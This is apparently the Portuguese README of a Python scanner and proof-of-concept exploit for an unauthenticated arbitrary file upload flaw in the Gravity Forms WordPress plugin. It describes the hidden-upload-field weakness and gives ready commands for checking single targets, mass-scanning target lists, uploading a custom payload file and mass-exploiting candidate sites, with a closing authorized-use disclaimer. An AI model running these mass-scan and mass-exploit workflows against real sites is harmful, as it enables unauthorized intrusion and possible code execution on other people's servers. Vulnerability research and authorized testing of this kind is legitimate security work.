
Scanner e exploit PoC em Python para CVE-2026-84434, um upload arbitrário de arquivos sem autenticação no Gravity Forms <=3.1.0.4 por meio de campos ocultos de File Upload. Suporta os modos check, exploit e mass scan.
Scanner PoC e exploit em Python 3 para CVE-2026-84434 no Gravity Forms.
| Plugin | gravityforms |
| Afetado | ≤ 3.1.0.4 |
| Corrigido em | 3.1.0.5+ (versão de segurança do fornecedor 3.1.1) |
| CVSS | 9.8 (Crítico) |
| Autenticação | Não autenticado |
| CWE | CWE-434 — Upload Irrestrito |
| Crédito | 0xd4rk5id3 — EnvoraSec (Wordfence) |
Campos ocultos de File Upload ignoram a validação de extensão no pipeline de validação, enquanto o caminho de persistência ainda pode chamar upload_file() sem verificações equivalentes. Um atacante não autenticado pode enviar um POST para um formulário público que inclua um campo File Upload com Visibility → Hidden.
Os arquivos são armazenados em wp-content/uploads/gravity_forms/. O Gravity Forms normalmente adiciona regras .htaccess para bloquear a execução de PHP; o RCE depende da configuração do servidor (nginx, docroot alternativo, etc.).
gform_wrapper e de um campo fileupload oculto (input_{form}_{field})gform_submit, is_submit_{id}, arquivo no input oculto)pip install -r requirements.txtpip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
| Opção | Descrição |
|---|---|
-u, --url | URL base de um único alvo |
--list | Lista de URLs, CSV no estilo FOFA ou candidates.jsonl |
--mode | check (padrão) ou exploit |
--form-id | ID do Gravity Form |
--page-url | Caminho ou URL da página que hospeda o formulário |
--file-field | ID do campo oculto de upload de arquivo |
--payload-file | Arquivo local a enviar (padrão: marcador .txt benigno em memória) |
--paths | Caminhos extras a rastrear em busca de formulários |
--threads, -j | Concorrência em massa (padrão 20) |
--output | Resultados em JSONL (padrão cve_2026_84434_results.jsonl) |
--vuln-list | URLs com acerto ou exploits bem-sucedidos (padrão hits.txt) |
--candidates-list | Metadados do check (padrão candidates.jsonl) |
--quiet | Menos saída de progresso em execuções em massa |
| Arquivo | Conteúdo |
|---|---|
cve_2026_84434_results.jsonl | JSON completo por alvo |
hits.txt | URLs base candidatas |
candidates.jsonl | form_id, page_url, file_field / input_name |
status (check)| Status | Significado |
|---|---|
candidate | Versão vulnerável + upload de arquivo oculto em um formulário público |
forms_no_hidden_upload | Formulários encontrados, nenhum com upload de arquivo oculto no HTML |
plugin_no_public_forms | Plugin presente, nenhum formulário público descoberto |
patched | Versão > 3.1.0.4 |
no_plugin | Gravity Forms não detectado |
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Listas de varredura locais e artefatos (list.txt, *.jsonl, payloads personalizados) estão no .gitignore e não devem ser commitados.
Apenas para testes de segurança autorizados. Você é responsável pela conformidade com as leis aplicáveis e as regras do programa.